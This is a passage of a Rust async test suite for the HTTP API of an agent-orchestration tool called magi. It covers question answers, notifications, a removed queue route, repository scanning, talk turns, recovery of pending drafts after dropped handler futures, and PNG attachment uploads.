5209        store.put(&mut answered).expect("put");
5210        let res = fx
5211            .post(
5212                &format!("/api/questions/{answered_id}/say"),
5213                Some(r#"{"body":"still there?"}"#),
5214            )
5215            .await;
5216        assert_eq!(res.status, 409, "{}", res.body);
5217
5218        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5219        let mut abandoned = store.get(&abandoned_id).expect("get");
5220        abandoned.abandon("timed out");
5221        store.put(&mut abandoned).expect("put");
5222        let res = fx
5223            .post(
5224                &format!("/api/questions/{abandoned_id}/say"),
5225                Some(r#"{"body":"still there?"}"#),
5226            )
5227            .await;
5228        assert_eq!(res.status, 409, "{}", res.body);
5229    }
5230
5231    #[tokio::test]
5232    async fn an_answer_the_question_does_not_offer_is_refused() {
5233        let fx = Fixture::start().await;
5234        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5235        let path = format!("/api/questions/{id}/answer");
5236
5237        for body in [
5238            r#"{"choice":"Postgres"}"#,
5239            r#"{"text":"whatever you think"}"#,
5240            r#"{"choice":"Redis","text":"both"}"#,
5241            r#"{}"#,
5242        ] {
5243            let res = fx.post(&path, Some(body)).await;
5244            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
5245            assert!(res.json()["error"].is_string(), "{}", res.body);
5246        }
5247        // Nothing above may have answered it.
5248        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5249    }
5250
5251    #[tokio::test]
5252    async fn a_free_text_question_takes_text_and_not_a_choice() {
5253        let fx = Fixture::start().await;
5254        let id = ask(&fx, "What should the flag be called?", &[]);
5255        let path = format!("/api/questions/{id}/answer");
5256
5257        assert_eq!(
5258            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
5259            400
5260        );
5261        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
5262        assert_eq!(res.status, 200, "{}", res.body);
5263        assert_eq!(res.json()["answer"]["text"], "--json");
5264    }
5265
5266    #[tokio::test]
5267    async fn an_unknown_question_is_a_json_404() {
5268        let fx = Fixture::start().await;
5269        let res = fx
5270            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
5271            .await;
5272        assert_eq!(res.status, 404, "{}", res.body);
5273        assert!(res.json()["error"].is_string());
5274    }
5275
5276    #[tokio::test]
5277    async fn notifications_list_read_dismiss_and_health_agree() {
5278        let fx = Fixture::start().await;
5279        let store = Notices::at(fx.home.path().join("notifications"));
5280        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
5281        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
5282
5283        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
5284        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
5285
5286        let health = fx.get("/api/health").await.json();
5287        assert_eq!(health["notifications_unread"], 2);
5288        assert_ne!(
5289            health["notifications_rev"], rev0,
5290            "the badge must move live"
5291        );
5292
5293        let listed = fx.get("/api/notifications").await.json();
5294        assert_eq!(listed["unread"], 2);
5295        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
5296        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
5297
5298        let read = fx
5299            .post(&format!("/api/notifications/{}/read", a.id), None)
5300            .await;
5301        assert_eq!(read.status, 200, "{}", read.body);
5302        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
5303
5304        let gone = fx
5305            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
5306            .await;
5307        assert_eq!(gone.status, 200, "{}", gone.body);
5308        let listed = fx.get("/api/notifications").await.json();
5309        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
5310        assert_eq!(listed["unread"], 0);
5311
5312        store.raise(Notice::info("x", "again")).unwrap();
5313        let all = fx.post("/api/notifications/read-all", None).await;
5314        assert_eq!(all.status, 200, "{}", all.body);
5315        assert_eq!(all.json()["marked"], 1);
5316        assert_eq!(
5317            fx.get("/api/health").await.json()["notifications_unread"],
5318            0
5319        );
5320
5321        let missing = fx.post("/api/notifications/nope/read", None).await;
5322        assert_eq!(missing.status, 404, "{}", missing.body);
5323        assert!(missing.json()["error"].is_string());
5324    }
5325
5326    /// New work reaches the queue through `magi task add`, a standing talk's
5327    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
5328    /// so the compose form and that route are gone. The tests that covered
5329    /// that route's validation went with it, and nothing was left asserting
5330    /// it stays gone — so a re-added handler would silently let the phone
5331    /// file briefs no one validated.
5332    #[tokio::test]
5333    async fn a_task_cannot_be_filed_over_the_phone_directly() {
5334        let f = Fixture::start().await;
5335
5336        let res = f
5337            .post(
5338                "/api/queue",
5339                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
5340            )
5341            .await;
5342
5343        assert_eq!(
5344            res.status, 405,
5345            "POST /api/queue must not be a route: {}",
5346            res.body
5347        );
5348        assert!(
5349            f.queue().list().is_empty(),
5350            "a task filed by a route that does not exist must not reach the disk"
5351        );
5352        // The path itself is still served — the Queue view reads it — and the
5353        // per-task controls are untouched by the entry being removed.
5354        assert_eq!(f.get("/api/queue").await.status, 200);
5355    }
5356
5357    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
5358    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
5359        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
5360            .expect("checkout dir");
5361    }
5362
5363    #[tokio::test]
5364    async fn repos_list_returns_name_and_path_for_every_configured_root() {
5365        let tmp = TempDir::new().expect("tempdir");
5366        let repo = tmp.path().join("repo");
5367        std::fs::create_dir_all(&repo).expect("repo dir");
5368        let root = tmp.path().join("root");
5369        make_checkout(&root, "github.com", "yukimemi", "magi");
5370        std::fs::write(
5371            repo.join("magi.toml"),
5372            format!(
5373                "[repos]\nroots = [{:?}]\n",
5374                root.to_string_lossy().into_owned()
5375            ),
5376        )
5377        .expect("write magi.toml");
5378
5379        let f = Fixture::with_repo(repo).await;
5380        let res = f.get("/api/repos").await;
5381        assert_eq!(res.status, 200, "{}", res.body);
5382        let list = res.json();
5383        let repos = list.as_array().expect("an array");
5384        assert_eq!(repos.len(), 1);
5385        assert_eq!(repos[0]["name"], "yukimemi/magi");
5386        assert!(
5387            repos[0]["path"]
5388                .as_str()
5389                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
5390            "{list}"
5391        );
5392    }
5393
5394    #[tokio::test]
5395    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
5396        let tmp = TempDir::new().expect("tempdir");
5397        let repo = tmp.path().join("repo");
5398        std::fs::create_dir_all(&repo).expect("repo dir");
5399        let root = tmp.path().join("root");
5400        make_checkout(&root, "github.com", "yukimemi", "magi");
5401        std::fs::write(
5402            repo.join("magi.toml"),
5403            format!(
5404                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
5405                root.to_string_lossy().into_owned()
5406            ),
5407        )
5408        .expect("write magi.toml");
5409
5410        let f = Fixture::with_repo(repo).await;
5411        let first = f.get("/api/repos").await;
5412        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
5413
5414        // A second checkout appears; within the TTL the cached answer must
5415        // not notice it.
5416        make_checkout(&root, "github.com", "yukimemi", "rvpm");
5417        let second = f.get("/api/repos").await;
5418        assert_eq!(
5419            second.json().as_array().map(Vec::len),
5420            Some(1),
5421            "a fresh cache must not rescan inside the TTL"
5422        );
5423
5424        let refreshed = f.get("/api/repos?refresh=1").await;
5425        assert_eq!(
5426            refreshed.json().as_array().map(Vec::len),
5427            Some(2),
5428            "an explicit refresh must rescan even inside the TTL"
5429        );
5430    }
5431
5432    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
5433    /// string, declared straight in a repository's own `magi.toml` rather
5434    /// than the operator's real roster. No real agent CLI is spawned - `sh`
5435    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
5436    /// this is safe to run over a real HTTP round trip.
5437    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
5438
5439    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
5440    /// real `Config::discover` to find an agent - `talk::begin` resolves one
5441    /// even though it takes no turn, and `talk_say` invokes one.
5442    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
5443        let tmp = TempDir::new().expect("tempdir");
5444        let repo = tmp.path().join("repo");
5445        std::fs::create_dir_all(&repo).expect("repo dir");
5446        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5447        let f = Fixture::with_repo(repo.clone()).await;
5448        (tmp, repo, f)
5449    }
5450
5451    #[tokio::test]
5452    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
5453        let (_tmp, _repo, f) = talk_fixture().await;
5454
5455        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
5456        // is the ordinary way a phone opens a talk.
5457        let opened = f.post("/api/talks", None).await;
5458        assert_eq!(opened.status, 201, "{}", opened.body);
5459        let body = opened.json();
5460        assert_eq!(body["status"], "open");
5461        assert_eq!(
5462            body["turns"].as_array().unwrap().len(),
5463            0,
5464            "opening takes no agent turn: there is nothing yet to answer"
5465        );
5466
5467        // An explicit empty object is the same request as none at all.
5468        let also_opened = f.post("/api/talks", Some("{}")).await;
5469        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
5470
5471        let listed = f.get("/api/talks").await.json();
5472        assert_eq!(listed.as_array().unwrap().len(), 2);
5473    }
5474
5475    #[tokio::test]
5476    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
5477        let f = Fixture::start().await;
5478        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
5479        let queue = f.queue();
5480        let mut mine = Task::new(
5481            "rename the loader".to_owned(),
5482            "rename the loader".to_owned(),
5483            PathBuf::from("/repo/magi"),
5484            Source::Agent {
5485                run: talk_id.clone(),
5486                node: "chat".to_owned(),
5487            },
5488        );
5489        queue.put(&mut mine).expect("file the task");
5490        let mut theirs = Task::new(
5491            "unrelated".to_owned(),
5492            "unrelated".to_owned(),
5493            PathBuf::from("/repo/magi"),
5494            Source::Human,
5495        );
5496        queue.put(&mut theirs).expect("file the task");
5497
5498        let res = f.get(&format!("/api/talks/{talk_id}")).await;
5499        assert_eq!(res.status, 200, "{}", res.body);
5500        let body = res.json();
5501        assert_eq!(
5502            body["status"], "open",
5503            "filing a task does not close a talk"
5504        );
5505        let tasks = body["tasks"].as_array().expect("tasks array");
5506        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
5507        assert_eq!(tasks[0]["id"], mine.id);
5508    }
5509
5510    #[tokio::test]
5511    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
5512        let (_tmp, _repo, f) = talk_fixture().await;
5513        let id = f.post("/api/talks", None).await.json()["id"]
5514            .as_str()
5515            .expect("id")
5516            .to_owned();
5517
5518        let res = f
5519            .post(
5520                &format!("/api/talks/{id}/say"),
5521                Some(r#"{"text":"what does the queue module do?"}"#),
5522            )
5523            .await;
5524        assert_eq!(res.status, 202, "{}", res.body);
5525        let queued = res.json();
5526        let turns = queued["turns"].as_array().expect("turns array");
5527        assert_eq!(
5528            turns.len(),
5529            1,
5530            "the answer reflects only what is on disk the instant it is sent, \
5531             before the agent's turn - which can run for the whole of \
5532             `[graph] timeout_talk` - has a chance to land: {queued}"
5533        );
5534        assert_eq!(turns[0]["who"], "operator");
5535        assert_eq!(turns[0]["body"], "what does the queue module do?");
5536        assert_eq!(
5537            queued["thinking"], true,
5538            "the accepted response exposes the background turn claim: {queued}"
5539        );
5540
5541        let mut turns_after = 1;
5542        for _ in 0..SETTLE_STEPS {
5543            let detail = f.get(&format!("/api/talks/{id}")).await.json();
5544            turns_after = detail["turns"].as_array().expect("turns array").len();
5545            if turns_after == 2 {
5546                break;
5547            }
5548            tokio::time::sleep(Duration::from_millis(10)).await;
5549        }
5550        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
5551    }
5552
5553    /// A phone that reloads mid-request drops `talk_say`'s whole handler
5554    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
5555    /// guards against: `talk::record` used to return, and only *then* did the
5556    /// handler make a second, separate disk round trip before spawning the
5557    /// agent's reply task. A future dropped in that gap left a message
5558    /// recorded on disk with no reply task ever started and no way back short
5559    /// of a fresh message - and the gap was not even the whole story: *any*
5560    /// `.await` in this handler, including the very first one, is a point
5561    /// where a drop can land after the awaited work already finished but
5562    /// before this handler's own code resumes to act on it. `record` now
5563    /// runs inside the task `tokio::spawn` hands to the runtime before this
5564    /// handler ever awaits anything of its own again, so there is nothing
5565    /// left in *this* handler's future for a disconnect to interrupt between
5566    /// the message landing on disk and the reply task starting.
5567    ///
5568    /// A real socket disconnect cannot be relied on to land in the old gap
5569    /// from a test - over loopback, `talk_say` typically finishes before the
5570    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
5571    /// same failure mode directly: it drops the task's future at whatever
5572    /// point it has reached, exactly what axum does to the handler future,
5573    /// without needing to win a real network race. Sweeping the delay before
5574    /// aborting samples a range of points the task's execution can be at,
5575    /// including where the old code sat waiting on its second disk round
5576    /// trip - confirmed by reverting this fix locally and watching this same
5577    /// sweep catch a talk stuck with the operator's turn recorded and no
5578    /// reply ever following.
5579    #[tokio::test]
5580    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
5581        let tmp = TempDir::new().expect("tempdir");
5582        let repo = tmp.path().join("repo");
5583        std::fs::create_dir_all(&repo).expect("repo dir");
5584        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5585        let home = TempDir::new().expect("temp home");
5586        let talks = Talks::at(home.path().join("talks"));
5587        let ui = Arc::new(
5588            Ui::new(
5589                Queue::at(home.path().join("queue")),
5590                Questions::at(home.path().join("questions")),
5591                talks.clone(),
5592                home.path().join("runs"),
5593                home.path().to_path_buf(),
5594                repo.clone(),
5595            )
5596            .with_worktrees_root(home.path().join("wt")),
5597        );
5598        let cfg = config_for(&repo).await.expect("discover config");
5599
5600        for delay in 0..40u32 {
5601            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
5602            let id = talk.id.clone();
5603
5604            let handler = tokio::spawn(talk_say(
5605                State(Arc::clone(&ui)),
5606                Path(id.clone()),
5607                Ok(Json(NewTalkTurn {
5608                    text: "what does the queue module do?".to_owned(),
5609                    attachments: Vec::new(),
5610                })),
5611            ));
5612            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
5613            handler.abort();
5614            // Wait out the abort so the next iteration's talk does not race
5615            // this one's still-unwinding turn guard.
5616            let _ = handler.await;
5617
5618            let mut turns = 0;
5619            for _ in 0..SETTLE_STEPS {
5620                if let Ok(fresh) = talks.get(&id) {
5621                    turns = fresh.turns.len();
5622                    if turns != 1 {
5623                        break;
5624                    }
5625                }
5626                tokio::time::sleep(Duration::from_millis(10)).await;
5627            }
5628            assert_ne!(
5629                turns, 1,
5630                "delay {delay}: talk {id} recorded the operator's turn but \
5631                 the agent never answered - the reply task was never \
5632                 started after the handler future was dropped"
5633            );
5634        }
5635    }
5636
5637    /// The same drop, landing on `talk_say`'s other durable write.
5638    ///
5639    /// When a turn is already running, the busy branch persists the
5640    /// operator's text as a queued draft and then reclaims the turn slot if
5641    /// the holder gave it up in the meantime - and whoever reclaims owes that
5642    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
5643    /// which finishes whether or not the future awaiting it is still there,
5644    /// so a handler dropped at that `.await` used to leave the draft written
5645    /// to disk with the reclaimed guard dropped unread and no drainer ever
5646    /// started: the message sat queued until some unrelated later `say`
5647    /// happened to pick it up.
5648    ///
5649    /// This used to drive the handler future by hand, polling it a fixed
5650    /// number of times to park it at the `.await` where it asks for the turn
5651    /// and finds it busy, before the reclaim's slot-free case could be set up
5652    /// underneath it. That assumed a fixed number of polls lands at a fixed
5653    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
5654    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
5655    /// poll, so any number of this handler's several `blocking` awaits can
5656    /// collapse into one poll under load, landing the drive somewhere other
5657    /// than intended - including, occasionally, straight past the handler's
5658    /// own completion, which made polling it again panic with "async fn
5659    /// resumed after completion". No poll count fixes that; the handler's
5660    /// progress simply is not something a caller outside it can observe by
5661    /// counting.
5662    ///
5663    /// [`BusyQueueGate`] replaces the poll count with a real stop point
5664    /// inside the write itself, so the interleaving under test is pinned by
5665    /// an event instead of a guess: the gate fires only once the handler has
5666    /// actually decided `Busy` and is about to persist the draft, and it
5667    /// blocks that write until the test lets it through. Between those two
5668    /// moments the test drains the turn the handler found busy - through
5669    /// `drain_loop`, the protocol's other half - and then aborts the handler
5670    /// task outright, the same way axum drops a disconnected request's
5671    /// future. The write, and the reclaim it may do, run to completion
5672    /// regardless: they live in the `tokio::spawn` task the busy branch hands
5673    /// to the runtime before ever touching the gate, wholly independent of
5674    /// whether the handler that started it is still around - which is what
5675    /// this test is actually checking. A drainer other than that reclaim
5676    /// cannot exist here: the test's own `drain_loop` call happens before the
5677    /// gate opens, so it runs while the queue is still empty and hands the
5678    /// turn straight back rather than draining anything, closing off the
5679    /// possibility of the final assertion passing without the reclaim ever
5680    /// having done its job.
5681    #[tokio::test]
5682    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
5683        let tmp = TempDir::new().expect("tempdir");
5684        let repo = tmp.path().join("repo");
5685        std::fs::create_dir_all(&repo).expect("repo dir");
5686        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5687        let home = TempDir::new().expect("temp home");
5688        let talks = Talks::at(home.path().join("talks"));
5689        let ui = Arc::new(
5690            Ui::new(
5691                Queue::at(home.path().join("queue")),
5692                Questions::at(home.path().join("questions")),
5693                talks.clone(),
5694                home.path().join("runs"),
5695                home.path().to_path_buf(),
5696                repo.clone(),
5697            )
5698            .with_worktrees_root(home.path().join("wt")),
5699        );
5700        let cfg = config_for(&repo).await.expect("discover config");
5701
5702        for attempt in 0..3u32 {
5703            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
5704            let id = talk.id.clone();
5705            // A turn is already running, which is what sends `talk_say` down
5706            // the busy branch.
5707            let turn_guard = ui
5708                .begin_talk_turn(&id)
5709                .expect("claim the turn")
5710                .expect("a fresh talk owes nobody a turn");
5711
5712            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
5713            let (release_tx, release_rx) = std::sync::mpsc::channel();
5714            ui.set_busy_queue_gate(BusyQueueGate {
5715                reached: reached_tx,
5716                release: release_rx,
5717            });
5718
5719            let handler = tokio::spawn(talk_say(
5720                State(Arc::clone(&ui)),
5721                Path(id.clone()),
5722                Ok(Json(NewTalkTurn {
5723                    text: "what does the queue module do?".to_owned(),
5724                    attachments: Vec::new(),
5725                })),
5726            ));
5727
5728            // Wait for the busy branch to actually reach the gate, rather
5729            // than for any fixed number of polls of anything - a bounded
5730            // wait rather than a bare `.await` so a regression that never
5731            // reaches the gate fails the test instead of hanging it.
5732            tokio::time::timeout(Duration::from_secs(5), reached_rx)
5733                .await
5734                .unwrap_or_else(|_| {
5735                    panic!(
5736                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
5737                    )
5738                })
5739                .expect("the busy branch dropped the gate without using it");
5740
5741            // The turn that was running now finishes and gives the slot up
5742            // the way a real one does - through `drain_loop`, which finds
5743            // nothing queued yet (the write is still held at the gate) and
5744            // releases. The handler, parked inside `spawn_blocking` on the
5745            // other side of the gate, still believes the talk is busy -
5746            // exactly the interleaving the reclaim exists for.
5747            let running = talks.get(&id).expect("reload talk");
5748            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
5749
5750            // Drop the handler future now, the way a reloading phone drops
5751            // it: suspended waiting on the busy branch's answer, having
5752            // itself made no more progress since it handed the write off.
5753            handler.abort();
5754            let _ = handler.await;
5755
5756            // Only now let the gated write proceed. It persists the draft
5757            // and reclaims the now-free slot from inside the task the busy
5758            // branch already spawned - unaffected by the handler's abort
5759            // above, since that task was independent of the handler's own
5760            // future from the moment it was spawned.
5761            let _ = release_tx.send(());
5762
5763            // A settled talk: the draft drained into an operator turn and
5764            // answered.
5765            let mut fresh = talks.get(&id).expect("reload talk");
5766            for _ in 0..SETTLE_STEPS {
5767                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
5768                    break;
5769                }
5770                tokio::time::sleep(Duration::from_millis(10)).await;
5771                fresh = talks.get(&id).expect("reload talk");
5772            }
5773            assert!(
5774                fresh.pending.is_empty() && fresh.turns.len() == 2,
5775                "attempt {attempt}: talk {id} left the operator's text queued \
5776                 with no drainer - the reclaimed turn was dropped along with \
5777                 the handler future (pending {:?}, {} turns)",
5778                fresh.pending,
5779                fresh.turns.len()
5780            );
5781        }
5782    }
5783
5784    #[tokio::test]
5785    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
5786        let (_tmp, _repo, f) = talk_fixture().await;
5787        let id = f.post("/api/talks", None).await.json()["id"]
5788            .as_str()
5789            .expect("id")
5790            .to_owned();
5791        let store = f.talks();
5792        let mut recovered = store.get(&id).expect("opened talk");
5793        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
5794            .expect("persist pending draft without a live turn");
5795
5796        let edited = f
5797            .post(
5798                &format!("/api/talks/{id}/pending/edit"),
5799                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
5800            )
5801            .await;
5802        assert_eq!(edited.status, 200, "{}", edited.body);
5803        assert!(edited.json()["thinking"].as_bool().unwrap());
5804
5805        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
5806        for _ in 0..SETTLE_STEPS {
5807            if detail["turns"].as_array().expect("turns").len() == 2 {
5808                break;
5809            }
5810            tokio::time::sleep(Duration::from_millis(10)).await;
5811            detail = f.get(&format!("/api/talks/{id}")).await.json();
5812        }
5813        let turns = detail["turns"].as_array().expect("turns");
5814        assert_eq!(
5815            turns.len(),
5816            2,
5817            "the recovered draft must run once: {detail}"
5818        );
5819        assert_eq!(turns[0]["body"], "corrected");
5820        assert_eq!(detail["pending"], "");
5821    }
5822
5823    #[tokio::test]
5824    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
5825        let tmp = TempDir::new().expect("tempdir");
5826        let repo = tmp.path().join("repo");
5827        std::fs::create_dir_all(&repo).expect("repo dir");
5828        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
5829        let f = Fixture::with_repo(repo).await;
5830        let id = f.post("/api/talks", None).await.json()["id"]
5831            .as_str()
5832            .expect("id")
5833            .to_owned();
5834        let store = f.talks();
5835        let mut recovered = store.get(&id).expect("opened talk");
5836        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
5837            .expect("persist pending draft without a live turn");
5838
5839        let refused = f
5840            .post(
5841                &format!("/api/talks/{id}/say"),
5842                Some(r#"{"text":"new message"}"#),
5843            )
5844            .await;
5845        assert_eq!(refused.status, 409, "{}", refused.body);
5846        assert!(refused.body.contains("resume"), "{}", refused.body);
5847        let saved = store.get(&id).expect("draft remains after refusal");
5848        assert!(saved.turns.is_empty());
5849        assert_eq!(saved.pending, "saved before restart");
5850
5851        let say_path = format!("/api/talks/{id}/say");
5852        let (first, second) = tokio::join!(
5853            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
5854            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
5855        );
5856        assert_eq!(first.status, 409, "{}", first.body);
5857        assert_eq!(second.status, 409, "{}", second.body);
5858        let saved = store
5859            .get(&id)
5860            .expect("draft remains after concurrent refusals");
5861        assert!(saved.turns.is_empty());
5862        assert_eq!(saved.pending, "saved before restart");
5863
5864        let resumed = f
5865            .post(&format!("/api/talks/{id}/pending/resume"), None)
5866            .await;
5867        assert_eq!(resumed.status, 202, "{}", resumed.body);
5868        let duplicate = f
5869            .post(&format!("/api/talks/{id}/pending/resume"), None)
5870            .await;
5871        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
5872
5873        for _ in 0..SETTLE_STEPS {
5874            if store.get(&id).expect("talk").turns.len() == 2 {
5875                break;
5876            }
5877            tokio::time::sleep(Duration::from_millis(10)).await;
5878        }
5879        let finished = store.get(&id).expect("finished talk");
5880        assert_eq!(finished.turns.len(), 2, "{finished:?}");
5881        assert_eq!(finished.turns[0].body, "saved before restart");
5882        assert!(finished.pending.is_empty());
5883    }
5884
5885    #[tokio::test]
5886    async fn an_image_only_recovered_draft_resumes_without_text() {
5887        let (_tmp, _repo, f) = talk_fixture().await;
5888        let id = f.post("/api/talks", None).await.json()["id"]
5889            .as_str()
5890            .expect("id")
5891            .to_owned();
5892        let uploaded = f
5893            .post_bytes(
5894                &format!("/api/talks/{id}/attachments"),
5895                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
5896                PNG_BYTES,
5897            )
5898            .await;
5899        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
5900        let attachment = f
5901            .talks()
5902            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
5903            .expect("attachment metadata")
5904            .expect("stored attachment");
5905        let store = f.talks();
5906        let mut recovered = store.get(&id).expect("opened talk");
5907        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
5908
5909        let resumed = f
5910            .post(&format!("/api/talks/{id}/pending/resume"), None)
5911            .await;
5912        assert_eq!(resumed.status, 202, "{}", resumed.body);
5913        for _ in 0..SETTLE_STEPS {
5914            if store.get(&id).expect("talk").turns.len() == 2 {
5915                break;
5916            }
5917            tokio::time::sleep(Duration::from_millis(10)).await;
5918        }
5919        let finished = store.get(&id).expect("finished talk");
5920        assert_eq!(finished.turns.len(), 2, "{finished:?}");
5921        assert!(finished.turns[0].body.is_empty());
5922        assert_eq!(finished.turns[0].attachments.len(), 1);
5923        assert!(finished.pending_attachments.is_empty());
5924    }
5925
5926    #[tokio::test]
5927    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
5928        let (_tmp, _repo, f) = talk_fixture().await;
5929        let id = f.post("/api/talks", None).await.json()["id"]
5930            .as_str()
5931            .expect("id")
5932            .to_owned();
5933        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5934        assert_eq!(closed.status, 200, "{}", closed.body);
5935        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
5936            .expect("serialize closed talk");
5937        for (path, body) in [
5938            (format!("/api/talks/{id}/pending/resume"), None),
5939            (
5940                format!("/api/talks/{id}/pending/clear"),
5941                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
5942            ),
5943            (
5944                format!("/api/talks/{id}/pending/edit"),
5945                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
5946            ),
5947            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
5948        ] {
5949            let response = f.post(&path, body).await;
5950            assert_eq!(response.status, 409, "{}", response.body);
5951        }
5952        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
5953            .expect("serialize closed talk");
5954        assert_eq!(
5955            after_clear, before_clear,
5956            "clear must not rewrite a closed talk"
5957        );
5958    }
5959
5960    /// Keeps both claims observable long enough to exercise the distinction
5961    /// between one busy talk and a globally locked Chat surface.
5962    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
5963
5964    #[tokio::test]
5965    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
5966        let tmp = TempDir::new().expect("tempdir");
5967        let repo = tmp.path().join("repo");
5968        std::fs::create_dir_all(&repo).expect("repo dir");
5969        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
5970        let f = Fixture::with_repo(repo).await;
5971        let id_a = f.post("/api/talks", None).await.json()["id"]
5972            .as_str()
5973            .unwrap()
5974            .to_owned();
5975        let id_b = f.post("/api/talks", None).await.json()["id"]
5976            .as_str()
5977            .unwrap()
5978            .to_owned();
5979
5980        let a = f
5981            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
5982            .await;
5983        assert_eq!(a.status, 202, "{}", a.body);
5984        assert_eq!(a.json()["thinking"], true);
5985        let b = f
5986            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
5987            .await;
5988        assert_eq!(b.status, 202, "{}", b.body);
5989        assert_eq!(b.json()["thinking"], true);
5990
5991        let listed = f.get("/api/talks").await.json();
5992        for id in [&id_a, &id_b] {
5993            let view = listed
5994                .as_array()
5995                .unwrap()
5996                .iter()
5997                .find(|talk| talk["id"] == *id)
5998                .unwrap();
5999            assert_eq!(view["thinking"], true, "{listed}");
6000        }
6001        let repeated = f
6002            .post(
6003                &format!("/api/talks/{id_a}/say"),
6004                Some(r#"{"text":"again"}"#),
6005            )
6006            .await;
6007        assert_eq!(repeated.status, 202, "{}", repeated.body);
6008        assert_eq!(repeated.json()["pending"], "again");
6009    }
6010
6011    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
6012    /// few more, since real uploads are never exactly eight bytes.
6013    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
6014
6015    #[tokio::test]
6016    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
6017        let f = Fixture::start().await;
6018        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
6019
6020        let res = f
6021            .post_bytes(
6022                &format!("/api/talks/{id}/attachments"),
6023                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
6024                PNG_BYTES,
6025            )
6026            .await;
